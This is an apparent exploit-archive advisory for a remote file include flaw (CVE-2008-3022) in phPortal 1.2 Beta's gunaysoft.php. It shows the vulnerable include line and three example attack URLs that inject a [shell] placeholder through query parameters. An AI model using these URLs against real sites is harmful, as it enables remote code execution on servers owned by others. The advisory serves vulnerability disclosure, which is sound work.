phportal_1.2_Beta (gunaysoft.php) Remote File Include Vulnerability

2008.07.07

Credit: Ciph3r

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-3022

CWE: CWE-94

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# phportal_1.2_Beta (gunaysoft.php) Remote File Include Vulnerability
#
# Discovered by : Ciph3r
#
# Class: Remote File Include Vulnerability
#
# exemplary Exp:
# http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?icerikyolu=[shell]
# http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?sayfaid=[shell]
# http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?uzanti=[shell]
#
# Remote: Yes
#
# Type: Highly critical
#
# Vulnerable Code: include($icerikyolu.$sayfaid.$uzanti);
#
# Download: http://sourceforge.net/project/showfiles.php?group_id=205263
#
# SP tanx4: Iranian hacker & Kurdish security TEAM
#
# sp TANX2: milw0rm.com & google.com & sourceforge.net
#
# Exploit: phportal.pl
#
# About phPortal :
#
# phPortal is a Content Management System. phPortal contains phpBB2 core and
# phPortal shell. If you have a phpBB2 forum.You may upgrade to phPortal.

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

phportal_1.2_Beta (gunaysoft.php) Remote File Include Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.